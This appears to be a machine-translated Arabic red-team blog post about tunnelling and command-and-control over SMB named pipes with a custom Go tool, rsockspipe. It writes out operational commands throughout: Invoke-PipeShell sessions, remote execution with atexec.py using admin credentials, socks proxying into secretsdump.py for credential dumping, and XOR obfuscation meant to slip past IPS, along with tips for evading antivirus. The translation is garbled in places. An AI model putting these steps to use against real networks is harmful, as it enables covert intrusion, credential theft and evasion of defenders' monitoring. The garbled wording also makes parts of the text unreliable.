ليس سراً أن IPS للشركات أصبحت أكثر ذكاءً وأكثر ذكاءً. لن تفاجئ الآن أي شخص لديه IPS مع SSL-mitm على محيط الشبكة أو حتى داخل شبكة الشركة بين القطاعات. في الوقت نفسه ، بالإضافة إلى IPS المعروفة ، بدأت مختلف حلول EDR في الظهور والانتشار ، والتي هي بالفعل مباشرة على المضيفين يشاهدون الاتصالات القائمة. في هذا الصدد ، يزداد صعوبة إخفاء اختصاصي RedTeam اللائق من مظهر BlueTeam في كل مكان. يجب أن نصبح أكثر إبداعًا في عملي الشاق.
قد يكون أحد الحلول لإخفاء "الإجراءات التدميرية الأكثر فائدة" (ج) داخل شبكات الشركة استخدام بروتوكولات SMB أو RDP. يمكنك الاختباء بداخلها والتخفي عن نفسها كحركة مرور مشروعة. هذا ليس جديدًا بشكل خاص وقد تم استخدام تقنية التقنيع داخل SMB منذ وقت شركات APT الشهيرة Duqu و Sauron. هناك ، استخدم الرجال أيضًا بروتوكول SMB لنقل أوامر التحكم إلى عملائهم بنجاح كبير. بعد ذلك ، تم اعتماد هذه التقنية من قبل مطوري Metasploit و Cobalt Strike.
في هذه المقالة ، سننظر في خيارات استخدام بروتوكول SMB للتحويل ، لكننا سنترك RDP لاحقًا.
نحن نستخدم SMB
لذلك ، دعنا نرى ما هو رائع حول استخدام SMB للتركيز.
أولاً ، إنه واسع الانتشار. SMB هو بروتوكول Microsoft الأصلي تقريبًا ، وفي شبكات الشركات التي تستخدم windows ، يتم استخدامه في كل مكان وفي أي مكان. هنا أنت و DFS ، والعديد من التحديثات ، والطابعات والكثير ، الكثير من كل شيء. مريح جدا
صحيح ، خارج شبكة الشركة ، وأكثر من ذلك من الخارج ، داخل منفذ TCP 445 ، بدأوا غالبًا في إغلاق جدران الحماية. والسبب في ذلك هو حالات الخداع والترحيل المتكررة باستخدام روابط مثل file: // xxxx ، \\ xxxx \ ، إلخ. وبطبيعة الحال ، دعونا لا ننسى WannaCry ، التي أجبرت العديد من المنظمات على إغلاق المنفذ.
ثانياً ، في الأنظمة الحديثة ، مثل Win10 / Win2016 والإصدارات الأحدث ، فإن المعلومات المرسلة داخل بروتوكول SMB ، وبشكل أكثر دقة ، يتم تشفير SMB3 افتراضيًا بشكل افتراضي. أي نقل الانقسام المفضل لديك داخل SMB ، يمكنك أن تتأكد بأمان من أن IPS للشركات لن تلاحظ ذلك (شكرًا Micosoft على هذا!).
ثالثًا ، يوفر بروتوكول SMB آلية ملائمة لما يسمى بالأنابيب (SMB pipe) - وهي في الواقع نفس الأنابيب المسماة ، وهي متوفرة فقط على الشبكة. على سبيل المثال ، يعد خط مثل \\ 192.168.1.10 \ pipe \ atsvc عبارة عن أنبوب خدمة للمهام المجدولة. يعمل Atexec من إطار impacket فقط على إنشاء مهام لتنفيذ الأوامر في الإطارات.
يمكنك رؤية جميع الأنابيب المفتوحة على نظامك باستخدام الأداة المساعدة من Sysinternals: pipelist.exe (pipelist64.exe) أو من خلال بوويرشيل نفسه:
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
غمر
لذلك ، دعونا نرى كيف يمكننا استخدام أنابيب SMB من أجل "أعمالنا المدمرة الأكثر فائدة".
نريد استخدام أنابيب للتواصل السري مع قشرة فريقنا.
خلاصة القول هي أننا ندير وكيلنا أو الصندوق على الجهاز المستهدف ، ونتواصل معه من خلال بروتوكول SMB.
على سبيل المثال ، في metasplit هناك قوائم paylodes خاصة للعمل مع الأنابيب:
meterpreter_bind_named_pipe
bind_named_pipe
بمساعدتهم ، يمكنك بسهولة "تعليق" المستمع الخاص بك (سواء كان متروك أو قشرة أمر عادية) على ماسورة مسمى ، وبالتالي إخفاؤها عن أعين المشرف من مسؤول الأمن. ولكن ، بالطبع ، نحن نعلم جيدًا أنه من غير الآمن تمامًا استخدام peylods msf أثناء القتال المكبوت / redtime وأن المتسللين العماليين الحقيقيين يستخدمون أدوات مخصصة ، كما يقولون - بعيدًا عن الخطيئة ...
قد يكون مساعدنا القديم - بوويرشيل - البديل لملف msf كقشرة قيادة. هناك العديد من الأمثلة على الشبكة حول استخدام الأنابيب كقناة للتواصل مع C2.
واحد منهم هو الأداة المساعدة Invoke-PipeShell من فريق Threatexpress. إنه يعمل في وضع خادم العميل ويقوم بتشفير كل حركة المرور الخاصة به باستخدام مفتاح AES 256 بت.
على الخادم الذي نقوم بتشغيله:
Invoke-PipeShell -mode server -aeskey aaaabbbbccccdddd -pipe eventlog_svc -commandtimeout 30
على العميل ، قم بتشغيل:
Invoke-PipeShell -mode client -server targetserver.domain.com -aeskey aaaabbbbccccdddd -pipe eventlog_svc -i -timeout 1000
بطبيعة الحال ، يجب أن يكون العميل مخولًا على الخادم ، لذلك لا تنسَ التخويل أولاً:
net use \\targetserver.domain.com\IPC$ /user:admin Password1
بعد اتصال ناجح ، نحصل على وحدة تحكم Powershell كاملة. يمكن الحصول على كل التفاصيل المتعلقة بالعمل باستخدام هذه الأداة ، وكذلك الشفرة نفسها.
حسنا. هذا يبدو مفهوما. الآن دعونا نفكر في الطريقة التي يمكننا من خلالها التمركز داخل الشبكة المستهدفة عبر أنابيب SMB. على سبيل المثال ، إذا كان المنفذ 445 مفتوحًا فقط على محيط الشبكة (ويحدث ذلك ...) أو أن الاتصالات الخارجة من النفق عبر SSL يتم حظرها بلا رحمة بواسطة جدار حماية للشركة ، ولكن لسبب ما نسوا إغلاق بروتوكول SMB. في هذه الحالة ، نحتاج إلى إعادة توجيه نفق TCP كامل داخل الأنبوب حتى نتمكن من العمل مع الموارد الداخلية للشبكة المستهدفة. أول ما يتبادر إلى الذهن هو نفس عداد متر مع التدريج عبر الأنابيب. انه يعرف كيف يفعل ذلك تماما. لن نفكر في التفاصيل هنا ، لأن كل شيء قياسي هنا وفقا للدليل. يمكن للمهتمين قراءة التعليمات الخاصة بـ metasploit ، أو الاطلاع على النسخة المختصرة
هنا .
ذكرنا بالفعل مساوئ المتر أعلاه. لذلك ، دعنا نرى ماذا لدينا من أجل التمحور عبر الأنابيب ...
بعد googling سريعة حول موضوع النفق عبر الأنابيب ، بالإضافة إلى مترتر ،
تم العثور على الكوبالت سترايك فقط والتطوير من
DxFlatLine .
الخيار الأول ، أولاً ، يتم دفعه ، وثانياً - له نفس العيوب التي يتمتع بها عداد المتر.
يتم تكوين الخيار الثاني باعتباره PoC ، وهو يعمل فقط في وضع الخيوط المفردة ويسمح لك بنفق اتصال واحد فقط - وهذا ، كما يمكنك ، لا يمثل خيارًا للاستخدام المستمر في الممارسة العملية.
وماذا تفعل؟
بعد التفكير قليلاً في المشكلة ، قررنا ... لماذا لا نتكيف مع تطورنا السابق Rsockstun ، الذي
كتبنا عنه بالفعل ، للعمل مع الأنابيب؟ علاوة على ذلك ، تسمح لك بنية التطبيق بالقيام بذلك بسهولة. بدلاً من الاتصال عبر TCP ، سنستخدم اتصال عبر SMB. إنه يبسط عمل الأداة المساعدة: لا داعي للقلق بشأن SSL ، والاتصال من خلال خادم وكيل ، إلخ. سنترك فقط الخيار الذي يتضمن تفويض العميل الأولي على الخادم بكلمة مرور ، لأن الأنابيب هي كيان عام ، وبناءً عليه ، ليس فقط نفقنا ، ولكن أيضًا البرامج الأخرى ، بما في ذلك عن بعد ، يمكنها القراءة والكتابة إليها.
تعتبر حقوق الوصول إلى الأنابيب ، بالإضافة إلى مسح وتعداد الأنابيب على جهاز بعيد ، موضوعًا منفصلًا للمناقشة. يمكن لأولئك الذين يرغبون في دراستها باستخدام مثال metasploit من الماسح الضوئي / smb / pipe_auditor والوحدات النمطية الماسح الضوئي / smb / pipe_rpc_auditor.
للعمل مع الأنابيب من Go ، سوف نستخدم مكتبة
npipeلقد تم صنعه لفترة طويلة وقد أثبت نفسه في العديد من المشاريع. لا يختلف العمل من خلال هذه المكتبة بشكل أساسي عن العمل من خلال آليات Net القياسية: نفس الوظائف هي net.Dial و net.Listen و net.Accept.
لمضاعفة عدة اتصالات داخل أنبوب واحد ، مثل آخر مرة ، سوف نستخدم Yamux multiplexer و socks5 - خادم وكيل. يمكنك قراءة المزيد حول الحاجة إلى الإرسال المتعدد داخل TCP و yamux في مقالتنا الأخيرة حول rsockstun.
هناك اختلاف آخر وصقل في الإصدار مع الأنابيب ، مقارنةً بـ rsockstun ، وهو أنه يمكن الآن تشغيل خادم yamux ، وبناءً على ذلك ، يمكن إطلاق socks5-proxy على طرفي النفق (وإن لم يكن في وقت واحد ، ولكن هناك أو هناك). يتم ذلك بحيث يمكن بناء النفق خارجيًا في الشبكة المستهدفة والعكس صحيح ...
والآن ، كالعادة - الفروق الدقيقة
الشكل 1 - تفريغ حركة تشغيل النفق على ويندوز 7

يوضح الشكل 1 كيف سيبدو عمل نفقنا ما إذا كان أحد نهايته على الأقل يعمل على Windows 7. هنا ، المنطقة الحمراء هي مرحلة الترخيص ، والأخضر هو فتح الأنبوب ، والأزرق هو النقل المباشر للمعلومات. من الضروري أيضًا الانتباه إلى حقيقة استخدام بروتوكول SMBv2. في الواقع ، هذا يعني أن كل ما نرسله داخل النفق سيكون مرئيًا بنص عادي:

على عكس Win7 ، يستخدم Windows10 تشفير البيانات داخل بروتوكول SMB3:

كما نرى ، لا يتم نقل اسم الأنبوب ولا البيانات الموجودة داخل النفق بنص واضح.
يمكنك التحقق مما إذا كان التشفير يعمل على نظام SMB3 الخاص بك باستخدام cmdlet Powerhell cmdlet قياسي لتكوين SmbServerConfiguration

ومع إيقاف تشغيل التشفير ، يكون تنشيطه بنفس السهولة:

ومع ذلك ، لا يمكننا دائمًا التأكد من أن التشفير داخل SMB سيتم تمكينه افتراضيًا وأن تشغيله على خادم أو شبكة أجنبية ليست فكرة جيدة ...
في هذا الصدد ، نحتاج إلى توفير وضع في نفقنا يسمح بتشفير حركة المرور داخل النفق الخاص بنا. علاوة على ذلك ، ليست لدينا مهمة تشفير موثوق حتى يتمكنوا من فك تشفير فقط على الكمبيوتر العملاق NSA ، ولكن فقط إخفاء تواقيع حركة المرور داخل النفق من IPS. في هذا الصدد ، سوف نستخدم XOR بسيطًا مع مفتاح صغير لإخفاء حركة المرور الخاصة بنا ، مما سيتيح لنا توفير موارد المعالج ولن يؤثر عملياً على سرعة النقل.
من أجل عدم إنشاء طبقة شبكة إضافية مسؤولة عن تشفير حركة المرور ، سنضيف الوظيفة مباشرةً إلى وحدة yamux المسؤولة عن نقل الحمولة النافعة (وحدة stream.go ووظائف القراءة والكتابة):
func xoring(istr *[]byte, key string){ for i := 0; i < len(*istr); i++ {(*istr)[i] = (*istr)[i] ^ key[i % len(key)]} }
بعد إجراء التغييرات ، لا يكون طلب GET لدينا مرئيًا بوضوح في حركة المرور:

واحد ، اثنان ، ثلاثة ... ابدأ!
في المجموع ، ستكون خيارات الإطلاق ووفقًا لتطبيق النفق على النحو التالي:
الخيار 1. الاتصال من الخارج بالشبكة وإعادة توجيه اتصال Socks5. على سبيل المثال ، عندما ينفد المنفذ 445 ونعرف قروض التوصيل:
على الخادم الداخلي ، عبر اتصال SMB والأداة المساعدة impacket ، ابدأ جزء خادم rsockpipe:
./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -listen .\rsockspipename -pass Password1234"
على جهاز Windows الخارجي (الذي نسيطر عليه من قبلنا) ، قم بتشغيل جزء العميل من rsockspipe وبعد إنشاء الاتصال ، استخدمه بمثابة وكيل socks5:
rsockspipe.exe -connect xxxx\rsockspipename -socks yyyy:1080 -pass Pass-word1234 proxychains secretsdump.py admin:Passw0rd@yy1.10
الخيار 2. الاتصال من الداخل إلى الخارج بواسطة بروتوكول SMB. عندما تتم مراقبة الاتصالات الخارجية بدقة بواسطة جميع بروتوكولات الويب ، ولسبب ما نسي المسؤولون SMB ...
على جهاز Windows خارجي (يتم التحكم فيه من قبلنا) (ip: YYYY) ، قم بتشغيل جزء العميل من rsockspipe وانتظر العملاء للاتصال:
rsockspipe.exe -listen .\rsockspipename -socks yyyy:1080 -pass Password1234
على الخادم داخل الشبكة المستهدفة ، قم بتشغيل جزء العميل (وأيضًا عبر impacket):
./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -connect YYYY\rsockspipename -pass Password1234"
بعد اتصال ناجح ، يمكننا استخدام خادمنا كـ soscks5:
proxychains secretsdump.py admin:Passw0rd@yy1.10
هناك نقطة واحدة هنا ، خاصة في الخيار الثاني. تذكر أننا قلنا أنه من أجل اتصال ناجح بالأنبوب ، يجب أن نكون مخولين من جانب الخادم ، أي قبل بدء تشغيل النفق ، نحتاج إلى المرور عبر الترخيص. يمكنك القيام بذلك بهذه الطريقة:
net use \\yyyy\ipc$ /user:<usrname> <Password1>
لذلك ... في حالة الاستخدام الثانية ، يتم تشغيل الأمر net use على الجهاز الهدف. وهذا يعني أنه على الجهاز الهدف (في ذاكرة عملية lsass) تظل هناك أرصدة من جهاز Windows. وإذا كانوا مسئولين (وكقاعدة عامة ، فإن جميع المتسللين المبتدئين يعملون من المشرف ...) ، فإن هذا يمكن أن يؤدي إلى "تحية إلى الوراء" من BlueTeam ... بشكل عام ، تفكر عندما تفعل شيئًا ...
بدلا من الاستنتاج
بشكل عام ، تبين أن النفق جيد جدًا ... الشيء الرئيسي هو أنه جاهز للاستخدام النشط.
الكود المصدري ، وكذلك الثنائيات المترجمة بالفعل لـ x86 و x64 ، موجودة على
بوابةناوإضافة صغيرة. في الآونة الأخيرة ، بدأوا يلاحظون أن برنامج Golang المترجمة في وضع Win GUI (التحويل البرمجي في الوضع: go build -ldflags = "- H windowsgui") قد تم إطلاقه بشدة بواسطة بعض حلول مكافحة الفيروسات (KAV ، SEP14). يتعلق الأمر بالفعل بالسخيفة - تم اكتشاف "Hello World" المترجمة في وضع واجهة المستخدم الرسومية كبرنامج ضار. يبدو أن هذا يرجع إلى حقيقة أن Golang أصبح أداة مفضلة للبرامج الضارة. لذا فإن نصيحتنا هي ترجمة المشروع في وضع وحدة التحكم القياسية ، ومع نافذة cmf سوداء يعرف المتسلل الحقيقي كيفية التعامل معه (على سبيل المثال ، نفس المشكلة ، على سبيل المثال).
ملاحظة: "الإجراءات المدمرة الأكثر فائدة" هي صياغة D. Samartsev ، مدير BiZone. في هذه الحالة ، يصف بدقة أكثر عمل اختصاصيي RedTeam.